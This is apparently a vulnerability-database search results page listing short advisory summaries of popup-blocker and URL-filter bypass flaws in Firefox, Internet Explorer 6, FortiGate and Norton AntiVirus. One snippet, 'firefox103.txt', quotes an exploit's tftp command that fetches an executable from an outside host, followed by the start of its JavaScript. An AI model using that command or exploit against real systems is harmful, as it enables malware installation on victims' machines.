823 matches found
CVE-2006-4569: Undefined Security Weakness
The popup blocker in Mozilla Firefox before 1.5.0.7 opens the "blocked popups" display in the context of the Location bar instead of the subframe from which the popup originated, which might make it easier for remote user-assisted attackers to conduct cross-site scripting XSS attacks...
Popup-blocker cross-site scripting (XSS) — Mozilla
shutdown demonstrated that blocked popups opened from the status bar "blocked popups" icon were always opened in the context of the site listed in the Location address bar, even if the blocked popup were originally opened by a subframe loaded from another site. This allows the popup to perform a...
CVE-2005-3058
Interpretation conflict in Fortinet FortiGate 2.8, running FortiOS 2.8MR10 and v3beta, allows remote attackers to bypass the URL blocker via an 1 HTTP request terminated with a line feed LF and not carriage return line feed CRLF or 2 HTTP request with no Host field, which is still processed by mo...
CVE-2005-3058
Fortinet FortiGate/FortiOS 2.8MR10 and FortiGate v3beta expose a vulnerability where remote attackers can bypass the URL blocker by using HTTP requests terminated with a line feed (LF) instead of CRLF or by requests without a Host header. This interpretation conflict in parsing HTTP requests is t...
CVE-2005-3058: Undefined Security Weakness
Interpretation conflict in Fortinet FortiGate 2.8, running FortiOS 2.8MR10 and v3beta, allows remote attackers to bypass the URL blocker via an 1 HTTP request terminated with a line feed LF and not carriage return line feed CRLF or 2 HTTP request with no Host field, which is still processed by mo...
CVE-2005-3058
Interpretation conflict in Fortinet FortiGate 2.8, running FortiOS 2.8MR10 and v3beta, allows remote attackers to bypass the URL blocker via an 1 HTTP request terminated with a line feed LF and not carriage return line feed CRLF or 2 HTTP request with no Host field, which is still processed by mo...
firefox103.txt
firefox 1.0.3 spoof+auto dl ./0 bite the cheese illwill./ idiot tftp -i illmob.zapto.org get test.exe c:\test.exe ./-----------------js.js----------./ var blockedReferrer = 'blockedReferrer'; NSActualWrite=document.write; // Popup Blocker -- RanPostamble=0; NSActualOpen=window.open; function...
security flaw
Firefox before 1.0.3 and Mozilla Suite before 1.7.7, when blocking a popup, allows remote attackers to execute arbitrary code via a javascript: URL that is executed when the user selects the "Show javascript" option...
CVE-2004-1173
Internet Explorer 6 allows remote attackers to bypass the popup blocker via the document object model DOM methods in the DHTML Dynamic HTML DHTML Editing Component DEC and Javascript that calls showModalDialog...
CVE-2004-1173
Internet Explorer 6 contains a vulnerability where remote attackers can bypass the popup blocker using DOM methods in the DHTML Editing Component (DEC) and showModalDialog calls. Root cause: the DHTML Editing Component/DEC enables a bypass via its DOM API. Impact described as bypassing the popup ...
CVE-2004-1173
Internet Explorer 6 allows remote attackers to bypass the popup blocker via the document object model DOM methods in the DHTML Dynamic HTML DHTML Editing Component DEC and Javascript that calls showModalDialog...
CVE-2004-1173: Undefined Security Weakness
Internet Explorer 6 allows remote attackers to bypass the popup blocker via the document object model DOM methods in the DHTML Dynamic HTML DHTML Editing Component DEC and Javascript that calls showModalDialog...
Symantec Norton AntiVirus 2001200220032004 - Script Blocker Denial of Service
Symantec Norton AntiVirus 2001200220032004 - Script Blocker Denial of Service source: https://www.securityfocus.com/bid/10739/info It is reported that Symantec Norton AntiVirus is prone to a Script Blocker denial of service vulnerability. This may result in a Symantec Norton AntiVirus Script...
Symantec Norton AntiVirus 2001/2002/2003/2004 - Script Blocker Denial of Service
source: https://www.securityfocus.com/bid/10739/info It is reported that Symantec Norton AntiVirus is prone to a Script Blocker denial of service vulnerability. This may result in a Symantec Norton AntiVirus Script Blocker bypass. The privileges and zone required so that the script is successful ...
csm.proxy.bypass.txt
Hi there! Something which might be worth a note... we are using csm´s proxy server and it´s siteblocker feature which is an option to enable url-filtering...BUT...if you surf to an "outside" proxy e.g. spaceproxy you can bypass url filtering by siteblocker due to a imho "design flaw" in the parsi...
Remove Lenovo USB Blocker version 1.0.0.37 to avoid a system crash
None None...
NOT (Block .NET 4.8 RTW)
This detectoid checks that the machine does not have the blocker key for .NET 4.8 or 4.X...
.NET 7.0 Blocker
This detectoid blocks machines with the specified reg keys from downloading and installing updates from MU...